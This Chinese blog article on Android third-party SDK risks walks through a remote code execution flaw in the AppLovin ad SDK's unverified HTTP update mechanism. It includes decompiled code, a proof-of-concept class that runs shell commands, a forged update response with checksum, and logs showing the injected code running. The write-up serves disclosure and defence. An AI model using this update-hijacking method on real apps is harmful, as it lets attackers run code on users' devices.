Android应用安全之第三方SDK安全
第三方sdk的包括广告、支付、统计、社交、推送,地图等类别,是广告商、支付公司、社交、推送平台,地图服务商等第三方服务公司为了便于应用开发人员使用其提供的服务而开发的工具包,封装了一些复杂的逻辑实现以及请求,响应解析的API,由于其使用的广泛性,一旦出现安全问题并且被黑客利用,其影响范围之广,危害之大不言而喻。
SDK的安全问题
首先,一些恶意的Sdk本身会存在着安全威胁,除了众所周知的获取用户隐私信息,如收集设备id(IMEI,IMSI等)、获取用户位置信息外,还存在着更严重的安全问题。比如某些sdk具有主动接收服务器指令的功能,它会根据需要收集短信、通话记录和联系人等敏感信息。另外,它还会执行如动态下载代码等危险操作。
其次,Sdk自身可能还会存在漏洞。如果这些漏洞被利用,攻击者就能够利用sdk本身存在的强大功能发动恶意的攻击行为,例如在用户毫无察觉的情况下打开相机拍照,通过发送短信盗取双因素认证令牌,或将设备变成僵尸网络的一部分。
下面介绍下目前在第三方sdk(主要是指广告sdk)中发现的恶意行为和漏洞。
恶意行为
- 收集用于定位和追踪用户的信息,如设备id和位置信息,
- 收集用户的邮箱地址以及安装在用户设备上的应用程序列表。
- 读取短信、邮件、电话通话记录和联系人列表,在没有任何访问控制措施的情况下通过web服务公开共享这些数据。
- 接收远程服务器指令,下载任意代码并执行。
- 数据明文传输
漏洞
- 通过明文传输数据
通过HTTP明文传输用户的隐私信息,使隐私信息很容易被窃取。FireEye 的研究者声称在Google Play的主流应用中有47%的广告sdk存在该漏洞。
- 使用HTTP协议传输数据
使用不安全的HTTP协议从控制服务器接收命令或者动态加载代码。攻击者可以通过中间人攻击,劫持HTTP数据包,冒充服务器下发恶意指令、推送恶意代码,将第三方sdk变成一个僵尸网络。
攻击者有许多方法来利用sdk的漏洞。比如劫持公共WiFi:当受害者的设备连接到公共WiFi热点(在咖啡店或机场等),攻击者可以在附近监听AppLovin广告sdk的数据包、注入恶意指令和代码。
攻击者也可以通过DNS劫持的方式来达到利用漏洞的目的。在DNS劫持攻击中,攻击者可以修改sdk广告服务器的DNS记录,把访问者重定向到攻击者自己的控制服务器,以便从受害者设备上收集隐私信息或者发送恶意控制指令到受害者设备上。
- Webview漏洞
WebView相当于一个浏览器窗口,应用程序可以使用它来显示网页内容。addJavascriptInterface这个API允许运行在WebView中的JavaScript代码来访问应用的native功能。攻击者可以利用此漏洞,使用应用已有的权限,通过恶意的JavaScript代码来对设备进行恶意操作。这个漏洞已经影响到超过90%的Android设备了。
为了降低安全风险,从Android 4.2开始,谷歌增加了一个叫做@JavascriptInterface的注解,开发人员可以使用它来定义需要暴露给WebView中的JavaScript代码的函数。这实质上是一个白名单机制,让开发者决定什么函数是允许被调用的。
然而添加 @JavascriptInterface注解只是在理论上降低了风险,其实际效用依赖于开发者如何使用它。另外,开发人员还可以添加代码,以便JavaScript调用任何应用暴露出来的函数(触发这些行为)都需要获得用户的许可。
- 使用动态加载的方式进行升级
采用运行时动态加载技术在Dalvik虚拟机中动态执行代码作为其升级机制的一部分,却没有对动态加载的代码进行校验。如果该部分代码被黑客恶意篡改,则会给用户造成严重的安全威胁。
有些sdk本身具有危险行为,同时又存在漏洞,这种特性我们称之为“vulnaggressive”。这种特性并不局限于广告sdk,其它第三方组件和应用程序也存在。如果一个sdk具有“vulnaggressive”特性,则会使Android用户,尤其是企业用户面临严重的安全威胁。AppLovin广告sdk就是一个实例。
AppLovin的恶意威胁
AppLovin广告sdk的恶意行为表现在收集用户的敏感数据,嵌入了按需执行危险操作的功能,该sdk本身存在着严重的漏洞,使应用容易遭受攻击者入侵。攻击者利用sdk的漏洞,同时利用sdk本身的恶意行为,攻击者可以在用户的设备上下载并执行任意代码。然而使用这些第三方sdk的应用开发人员往往不知道其中存在的安全风险,从而给企业用户造成严重威胁。
在我们的研究中发现,许多包含AppLovin广告sdk的Android应用具有强大的权限,它们可以控制摄像机;读写短信、历史通话记录、联系人、浏览器历史记录和书签;并在桌面上创建快捷方式。
攻击者可以利用这些权限进行恶意操作。比如:
- 通过短信窃取双因素认证令牌
- 在SD卡上查看照片和其他文件
- 在桌面上安装图标用于钓鱼攻击
- 删除文件和销毁历史数据
- 冒充老板发送伪造的业务短信给商业伙伴
- 在没有通知用户的情况下删除接收到的短信
- 拨打电话
- 在没有通知用户的情况下使用相机拍照
- 读取书签或者将它们指向钓鱼网站
尽管AppLovin广告sdk造成了严重的威胁,但因其具有隐蔽性,所以更加防不胜防:
- AppLovin广告sdk通过HTTP头字段的数据编码,而不是HTTP响应体从广告服务器接收命令。
- AppLovin广告sdk的代码被混淆,这使得使用传统的分析方法变得困难。
- AppLovin广告sdk的行为难以用传统的分析方法来触发。例如,在一种流行的游戏中,AppLovin广告sdk仅在游戏中某些点执行,比如说达到游戏中的特定级别。当AppLovin广告sdk执行的时候,用户可见的唯一影响是在屏幕顶部的广告(如下图所示)。然而,AppLovin广告sdk却在背后悄悄执行其危险行为。
AppLovin广告sdk的屏幕截图
AppLovin漏洞剖析
AppLovin广告sdk5.0.3版本的升级机制存在远程代码执行漏洞。该广告sdk采用运行时动态加载技术在Dalvik虚拟机中动态执行代码作为其升级机制的一部分。
该广告sdk会定期的通过http协议以明文方式与d.applovin.com进行数据传输。发送以下请求:
GET /sdk/android?interface=5.0.0&implementation=5.0.3 HTTP/1.1
User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.3; sdk Build/JWR66V)
Host: d.applovin.com
Connection: Keep-Alive
Accept-Encoding: gzip
然后服务端将进行响应,如果有更新,就把一个包含了要更新的sdk的jar文件下载到应用目录下一个叫“app_al_sdk”的文件夹中:
/data/data/<vulnerable application>/app_al_sdk/<SDK version>.jar
当应用再次运行的时候,AppLovin广告library就会检测这个目录下是否存在更新的jar包,如果存在则将该jar包中的dex文件解压出来替换/data/data/<vulnerable application>/al_outdex文件,这样dex中的com.applovin.impl.bootstrap.SdkBoostrapTasksImpl类就会被动态加载,其中的startUpdateDownload方法也将会被调用。
从源代码可以得知,当一个包含AppLovin广告sdk的应用启动后,一个‘boot’进程就会启动(由于反编译的关系,也可能是‘bootstrap’进程、‘boostrap’进程)。如下所示,com.applovin.impl.bootstrap包中的UpdateSDK类负责发送更新请求和处理服务器响应:
package com.applovin.impl.bootstrap; .. .. class UpdateSDK extends Thread { private final Context b; public UpdateSDK(SdkBoostrapTasksImpl arg2, Context arg3) { this.a = arg2; super(); this.b = arg3; this.setName("AppLovinUpdateThread"); } public void run() { SharedPreferences$Editor v0_3; String SdkUpdateinterval; int ResponseCode; StringBuffer uri; SharedPreferences BootstrapSettings = this.b.getSharedPreferences("applovin.sdk.boostrap", 0); String CheckSum = BootstrapSettings.getString("version", ""); if(CheckSum == null || CheckSum.length() < 1) { CheckSum = "5.0.3"; } InputStream ResponseStream = null; try { SdkBoostrapTasksImpl.a(this.a, "Checking for an update for the SDK interface: 5.0.0, implementation: " + CheckSum + "..."); uri = new StringBuffer(GetUpdateUri.a(this.b)); uri.append("?").append("interface").append("=").append("5.0.0"); // ?interface=5.0.0 uri.append("&").append("implementation").append("=").append(CheckSum); // ?interface=5.0.0&implementation=5.0.3 URLConnection RequestObject = new URL(uri.toString()).openConnection(); ((HttpURLConnection)RequestObject).setRequestMethod("GET"); ((HttpURLConnection)RequestObject).setConnectTimeout(20000); ((HttpURLConnection)RequestObject).setReadTimeout(20000); ((HttpURLConnection)RequestObject).setDefaultUseCaches(false); ((HttpURLConnection)RequestObject).setAllowUserInteraction(false); ((HttpURLConnection)RequestObject).setUseCaches(false); ((HttpURLConnection)RequestObject).setInstanceFollowRedirects(true); ((HttpURLConnection)RequestObject).setDoInput(true); ResponseCode = ((HttpURLConnection)RequestObject).getResponseCode(); String SDKFileName = ((HttpURLConnection)RequestObject).getHeaderField("AppLovin-Sdk-Implementation"); // filename? String SdkImpCheckSum = ((HttpURLConnection)RequestObject).getHeaderField("AppLovin-Sdk-Implementation-Checksum"); SdkUpdateinterval = ((HttpURLConnection)RequestObject).getHeaderField("AppLovin-Sdk-Update-Interval"); String AppLovinEventID = ((HttpURLConnection)RequestObject).getHeaderField("AppLovin-Event-ID"); SdkBoostrapTasksImpl.a(this.a, "Auto-update info: {code: " + ResponseCode + ", " + "eventId: " + AppLovinEventID + ", " + "fileName: " + SDKFileName + ", " + "checksum: " + SdkImpCheckSum + ", " + "interval: " + SdkUpdateinterval + "}"); if(ResponseCode == 200) { if(SDKFileName != null && SDKFileName.length() > 0) { File SdkUpdateFile = new File(this.b.getDir("al_sdk", 0), SDKFileName); ResponseStream = ((HttpURLConnection)RequestObject).getInputStream(); CheckSum = SdkBoostrapTasksImpl.a(ResponseStream, SdkUpdateFile); if(CheckSum != null && (CheckSum.equals(SdkImpCheckSum))) { SharedPreferences$Editor v3_2 = BootstrapSettings.edit(); v3_2.putString("version", SDKFileName); v3_2.putString("interface", "5.0.0"); v3_2.putString("ServerEventId", AppLovinEventID); v3_2.putString("ServerChecksum", CheckSum); v3_2.commit(); SdkBoostrapTasksImpl.a(this.a, "New update processed: " + SDKFileName); goto label_130; } SdkBoostrapTasksImpl.a(this.a, "SDK update checksum does not match. Expected " + SdkImpCheckSum + ", but got " + CheckSum); goto label_130; } SdkBoostrapTasksImpl.a(this.a, "Unable to receive SDK update: " + uri + " has not returend a file name"); }
上述代码从"applovin.sdk.boostrap"配置文件中读取一个版本号作为checksum,然后构造和发送以下请求:
GET /sdk/android?interface=5.0.0&implementation=5.0.3 HTTP/1.1
User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.3; sdk Build/JWR66V)
Host: d.applovin.com
Connection: Keep-Alive
Accept-Encoding: gzip
然后对接收到的以下服务器响应信息进行处理:
HTTP/1.1 200 Server: nginx Date: Mon, 21 Oct 2013 19:31:20 GMT Content-Type: text/html Connection: keep-alive Vary: Accept-Encoding Cache-Control: no-store, no-cache, must-revalidate AppLovin-Sdk-Update-Interval: 10 AppLovin-Sdk-Next-Update-Time: 10 AppLovin-Sdk-Implementation: 5.0.3.jar AppLovin-Sdk-Implementation-Checksum: a9e5f7c98ab3f1dc9ecab25f15ef09e25d5bce28 AppLovin-Event-ID: 123456 Content-Length: 1660
服务器会返回以上的响应信息,这些数据被写入到一个文件(文件名为AppLovin-Sdk-Implementation头的值,实际为一个jar包)中,同时会产生一个SHA1 哈希值与AppLovin-Sdk-Implementation-Checksum头的值进行匹配。响应头中其它信息如 AppLovin-Sdk-Update-Interval头 和 AppLovin-Sdk-Next-Update-Time头被写入到一个配置文件中以控制下次应用的更新时间间隔。
当应用再次启动时bootstrap进程初始化的流程就不同了。这个时候com.applovin.sdk.bootstrap包中的SdkBootstrap 类会从配置文件中读取这些值,如果发现这些值不匹配则不会通过控制器去启动更新机制。否则就去检查app_al_sdk目录下是否存在jar文件并与配置文件中的版本值相匹配,匹配则将jar包中的classess.dex文件解压到app_al_outdex文件夹中。
package com.applovin.sdk.bootstrap; .. .. public class SdkBootstrap { .. .. private void BootstrapSdkClassLoaderInit(Context AppContext) { this.VerboseLogging = AppLovinSdkUtils.isVerboseLoggingEnabled(AppContext); SharedPreferences bootstrapPref = AppContext.getSharedPreferences("applovin.sdk.boostrap", 0 ); String versionVal = bootstrapPref.getString("version", ""); String interfaceVal = bootstrapPref.getString("interface", ""); if(versionVal.length() <= 0 || !"5.0.0".equals(interfaceVal)) { this.disable(); } else { File FileNameParam1 = new File(AppContext.getDir("al_sdk", 0), versionVal); if((FileNameParam1.exists()) && FileNameParam1.length() > 0) { this.ThisClassLoader = new SdkClassLoader(FileNameParam1, AppContext.getDir("al_outdex" , 0), SdkBootstrap.class.getClassLoader()); goto checkForUpdates; } this.Log_("SDK implementation file " + versionVal + " has no content, using default implementation" ); this.disable(); } .. ..
在com.applovin.sdk.bootstrap.SdkClassLoader类中SdkClassLoader 方法被调用:
package com.applovin.sdk.bootstrap; .. .. public class SdkClassLoader extends DexClassLoader { public SdkClassLoader(File FileNameParam, File DirectoryNameParam, ClassLoader ClassLoaderObject ) { super(FileNameParam.getAbsolutePath(), DirectoryNameParam.getAbsolutePath(), null, ClassLoaderObject ); } .. ..
类加载器对象加载classes.dex,并作为参数从checkForUpdates方法中传递到loadImplementation方法中:
package com.applovin.sdk.bootstrap; .. .. public class SdkBootstrap { .. .. public void checkForUpdates() { if (AppLovinSdkUtils.isAutoUpdateEnabled(this.d)) { SdkBoostrapTasks localSdkBoostrapTasks = (SdkBoostrapTasks)loadImplementation(SdkBoostrapTasks.class); if (localSdkBoostrapTasks != null) localSdkBoostrapTasks.startUpdateDownload(this.d.getApplicationContext()); } }
loadImplementation 方法如下:
package com.applovin.impl.bootstrap; .. .. public class SdkBoostrapTasksImpl implements SdkBoostrapTasks { .. .. try { String str1 = paramClass.getSimpleName(); String str2 = paramClass.getPackage().getName(); String str3 = str2.substring(1 + str2.lastIndexOf('.')); String str4 = "com.applovin.impl." + str3 + "." + str1 + "Impl"; a("Loading " + str4 + "..."); Object localObject = paramClass.cast(this.e.loadClass(str4).newInstance()); return localObject; }
这个方法从提供的classes.dex文件中加载com.applovin.impl.bootstrap.SdkBoostrapTasksImpl类并且返回一个对象(即localSdkBoostrapTasks)给checkForUpdates方法,checkForUpdates方法再通过返回的这个对象调用startUpdateDownload方法。
public void checkForUpdates() { if (AppLovinSdkUtils.isAutoUpdateEnabled(this.d)) { SdkBoostrapTasks localSdkBoostrapTasks = (SdkBoostrapTasks)loadImplementation(SdkBoostrapTasks.class); if (localSdkBoostrapTasks != null) localSdkBoostrapTasks.startUpdateDownload(this.d.getApplicationContext()); } }
SdkBoostrapTasksImpl 类中startUpdateDownload 方法原型如下:
package com.applovin.impl.bootstrap; .. .. public class SdkBoostrapTasksImpl implements SdkBoostrapTasks { .. .. public void startUpdateDownload(Context paramContext) { this.a = AppLovinSdkUtils.isVerboseLoggingEnabled(paramContext); SharedPreferences localSharedPreferences = paramContext.getSharedPreferences("applovin.sdk.boostrap", 0); long l1 = System.currentTimeMillis(); long l2 = localSharedPreferences.getLong("NextAutoupdateTime", 0L); if ((l2 == 0L) || (l1 > l2)) new b(this, paramContext).start(); }
攻击者可以通过重新实现com.applovin.impl.bootstrap.SdkBoostrapTasksImpl类中的startUpdateDownload 方法构造一个恶意的sdk更新。为了达到这个目的,需要对包含有漏洞的AppLovin sdk应用进行反编译。
$ unzip VulnerableApp.apk
利用dex2jar将解压后得到的classes.dex文件反编译成jar包:
$ dex2jar.sh classes.dex
创建一个eclipse工程,将工程Properties设置为“Is Library”(在工程右击-properties-Android最下面,有个Is library,选择后-apply确定,表示此工程可以公开给别的工程使用),然后将上一步得到的classes_dex2jar.jar文件复制到lib目录下。
$ cp classes-dex2jar.jar ~/eclipse-workspace/MWRAppLovin/libs/
接下来创建com.applovin.impl.bootstrap包和SdkBoostrapTasksImpl类,PoC如下:
package com.applovin.impl.bootstrap; import java.io.BufferedWriter; import java.io.IOException; import java.io.OutputStreamWriter; import android.content.Context; import android.os.Environment; import android.util.Log; import com.applovin.sdk.bootstrap.SdkBoostrapTasks; public class SdkBoostrapTasksImpl implements SdkBoostrapTasks { public SdkBoostrapTasksImpl() { super(); } @Override public void startUpdateDownload(Context AppContextParam) { AppContextParam.getApplicationContext(); Log.i("[mwr]", "startUpdateDownload — running our injected code"); String path = Environment.getExternalStorageDirectory().getPath(); String[] commands = { "echo -e \"--[mwr]--\" > " + path + "/mwr.txt\n", "id >> " + path + "/mwr.txt\n" }; execCommands(commands); } public Boolean execCommands(String... command) { Runtime rtime = Runtime.getRuntime(); Process child = null; try { child = rtime.exec("/system/bin/sh"); } catch (IOException e1) { } BufferedWriter outCommand = new BufferedWriter(new OutputStreamWriter(child.getOutputStream())); try { for(int i = 0; i < command.length; i++) { Log.i("[mwr]", "execCommands — executing " + command[i]); outCommand.write(command[i]); outCommand.flush(); } } catch (IOException e) { } return true; } }
上面的PoC会将当前用户id写入sd卡的mwr.txt文件中。如果这个lib库已经被编译成jar包,则必须用dx将其重打包为dex。
$ dx --dex --output=mwr_applovin_sdk.jar mwrapplovin.jar
(注:dx --dex --output=target.jar origin.jar 首先将origin.jar编译成origin.dex文件(Android虚拟机认识的字节码文件),然后再将origin.dex文件压缩成target.jar)
然后攻击者需要伪造服务器对客户端更新请求的响应并且发送恶意sdk更新,同时需要生成恶意jar包的checksum(sha1哈希):
$ shasum mwr_applovin_sdk.jar 860b438285557693a30a89874df5c26a6fadfb92
一个伪造的响应如下所示:
HTTP/1.1 200 Server: nginx Date: Mon, 21 Oct 2013 19:31:20 GMT Content-Type: text/html Connection: keep-alive Vary: Accept-Encoding Cache-Control: no-store, no-cache, must-revalidate AppLovin-Sdk-Update-Interval: 1000 AppLovin-Sdk-Next-Update-Time: 1000 AppLovin-Sdk-Implementation: mwr_applovin_sdk.jar AppLovin-Sdk-Implementation-Checksum: 860b438285557693a30a89874df5c26a6fadfb92 AppLovin-Event-ID: 123456 Content-Length: 1660 <BINARY DATA>
用logcat查看广告插件的日志信息,从相关event可知恶意jar文件已经被下载:
I/AppLovinSdk( 742): [Boostrap] Auto-update info: {code: 200, eventId: 123456, fileName: mwr_applovin_sdk.jar, checksum: 860b438285557693a30a89874df5c26a6fadfb92, interval: 10} I/AppLovinSdk( 742): [Boostrap] New update processed: mwr_applovin_sdk.jar I/AppLovinSdk( 742): [Boostrap] Next update is at: "1382624665463"
下述log信息表明当应用再次启动的时候,从jar包中释放出了dex文件并且恶意代码已经执行:
/dalvikvm( 3280): DexOpt: --- BEGIN 'mwr_applovin_sdk.jar' (bootstrap=0) --- D/dalvikvm( 2949): GC_FOR_ALLOC freed 0K, 3% free 56131K/57696K, paused 156ms, total 156ms D/dalvikvm( 3398): DexOpt: load 41ms, verify+opt 15ms, 80116 bytes D/dalvikvm( 3280): DexOpt: --- END 'mwr_applovin_sdk.jar' (success) --- D/dalvikvm( 3280): DEX prep '/data/data/<vulnerable app>/app_al_sdk/mwr_applovin_sdk.jar': unzip in 0ms, rewrite 286ms I/AppLovinSdk( 3280): [Boostrap] Loading com.applovin.impl.bootstrap.SdkBoostrapTasksImpl... D/AppLovinSdk( 3280): Loading SDK implementation class: com.applovin.impl.bootstrap.SdkBoostrapTasksImpl I/[mwr] ( 3280): startUpdateDownload — running our injected code I/[mwr] ( 3280): execCommands — executing echo -e "--[mwr]--" >> /mnt/sdcard/mwr.txt I/[mwr] ( 3280): execCommands — executing id >> /mnt/sdcard/mwr.txt
adb命令表明执行很成功:
$ adb shell root@generic:/ # cat /mnt/sdcard/mwr.txt --[mwr]-- uid=(u0_a48) gid=(u0_a48) groups=(camera),(sdcard_rw),(sdcard_r),(inet),(all_a48)
参考资料:
Android应用安全之第三方SDK安全的更多相关文章
- 【Android开发】【第三方SDK】蒲公英摇一摇
摇一摇用户信息反馈功能:用户通过摇晃手机或者触发按钮,弹出反馈信息界面,填写个人意见,上传服务器的功能. 1. 蒲公英官网注册应用,获取AppId作为唯一标识: 2. 下载sdk,获取pgyer_sd ...
- 【Android开发】【第三方SDK】 安卓版分词功能
功能介绍: 获取剪切板内容,进行分词: 点击分解后的词,填入输入框: 点击叉号将地址拼接起来返回主界面 用途: 增加用户的体验效果,可以直接在微信上复制地址,然后通过此功能确认地址. 附上git地址 ...
- 巧用第三方高速开发Android App 热门第三方SDK及框架
巧用第三方高速开发Android App 热门第三方SDK及框架 历经大半年的时间,最终是把这门课程给录制出来了,也就在今天,正式在慕课网上上线了 项目地址:巧用第三方高速开发Android App ...
- 巧用第三方快速开发Android App 热门第三方SDK及框架
巧用第三方快速开发Android App 热门第三方SDK及框架 历经大半年的时间,终于是把这门课程给录制出来了,也就在今天,正式在慕课网上上线了 项目地址:巧用第三方快速开发Android App ...
- Android高效率编码-第三方SDK详解系列(三)——JPush推送牵扯出来的江湖恩怨,XMPP实现推送,自定义客户端推送
Android高效率编码-第三方SDK详解系列(三)--JPush推送牵扯出来的江湖恩怨,XMPP实现推送,自定义客户端推送 很久没有更新第三方SDK这个系列了,所以更新一下这几天工作中使用到的推送, ...
- Android高效率编码-第三方SDK详解系列(二)——Bmob后端云开发,实现登录注册,更改资料,修改密码,邮箱验证,上传,下载,推送消息,缩略图加载等功能
Android高效率编码-第三方SDK详解系列(二)--Bmob后端云开发,实现登录注册,更改资料,修改密码,邮箱验证,上传,下载,推送消息,缩略图加载等功能 我的本意是第二篇写Mob的shareSD ...
- Android高效率编码-第三方SDK详解系列(一)——百度地图,绘制,覆盖物,导航,定位,细腻分解!
Android高效率编码-第三方SDK详解系列(一)--百度地图,绘制,覆盖物,导航,定位,细腻分解! 这是一个系列,但是我也不确定具体会更新多少期,最近很忙,主要还是效率的问题,所以一些有效的东西还 ...
- unity 引入 android第三方sdk
unity中调用java代码中介绍了unity调用android java代码的一些基础.引入android开发第三方sdk的操作跟调用java代码的操作相似,只是多了一步引入第三方jar. unit ...
- Unity3D调用第三方SDK(之一)从eclipse到Unity3D 友盟
原地址:http://www.360doc.com/content/14/0120/14/11670799_346638215.shtml 篇展示在Unity3D中调用友盟SDK的实现方法. 首先附上 ...
随机推荐
- eclipse以O开头的版本安装tomcat插件
最近闲着无聊想着捣鼓下java web ,轻车熟路的在eclipse下载好IDE,有强迫症的我下载了最新版本的(2017-10),然而下载过来的IDE真的是纯净版的,连java web 的new pr ...
- Mobileye众包地图REM的一些整理
Mobileye的CEO Shashua在CVPR2016上介绍了Road Experience Management(REM),目前仍是视觉高精度地图和定位的(几乎)唯一的解决方案.这两年间,mob ...
- Flutter——设置appBar的高度
使用脚手架Scaffold可以设置AppBar,想要设置高度,在AppBar外包一层PreferredSize,设置preferredSize的属性为想要的高度即可. Scaffold( appBar ...
- 《AngularJS权威教程》
第二章.数据绑定 2.2 简单的数据绑定 <!DOCTYPE html> <html ng-app> <head> <title>Simple app& ...
- 查询es curl命令记录
curl -H "Content-Type: application/json" -XGET http://10.65.0.33:9200/online/senseLog/_se ...
- 《SQLSERVER2012实施与管理实战指南》前4章节笔记内容
<SQLSERVER2012实施与管理实战指南>前4章节笔记内容 <SQLSERVER2012实施与管理实战指南>的前面4章是<SQLSERVER企业级平台管理实践> ...
- 10分钟让你明白MySQL是如何利用索引的
一.前言 在MySQL中进行SQL优化的时候,经常会在一些情况下,对MySQL能否利用索引有一些迷惑. 譬如: MySQL 在遇到范围查询条件的时候就停止匹配了,那么到底是哪些范围条件? MySQL ...
- NGUI和UGUI图片字 艺术字(Bitmap图片转文字)制作方法
用图片字而不是图片 美术和程序的配合,需要程序能够很快抓住问题重点并提出解决方案.美术出的图片字比我们使用的字体更好好看,那么是否要一个个图片去拼成数字呢? NGUI创建图片字 准备材料 美术提供的数 ...
- oracl数据库中的substr()函数的用法
substr:字符串截取. 1.substr:(字符串 | 列 ,开始点):从开始一直截取到结尾. select substr(zym,2) from bqh4 2.substr:(字符串 | 列 , ...
- Windows10 家庭版没有本地组策略解决方法
windows 家庭版默认是没有本地组策略的, win+R运行gpedit.msc提示不存在 下面的代码保存一个cmdorbat 脚本文件add_gpedit.cmd, 并执行 add_gpedit. ...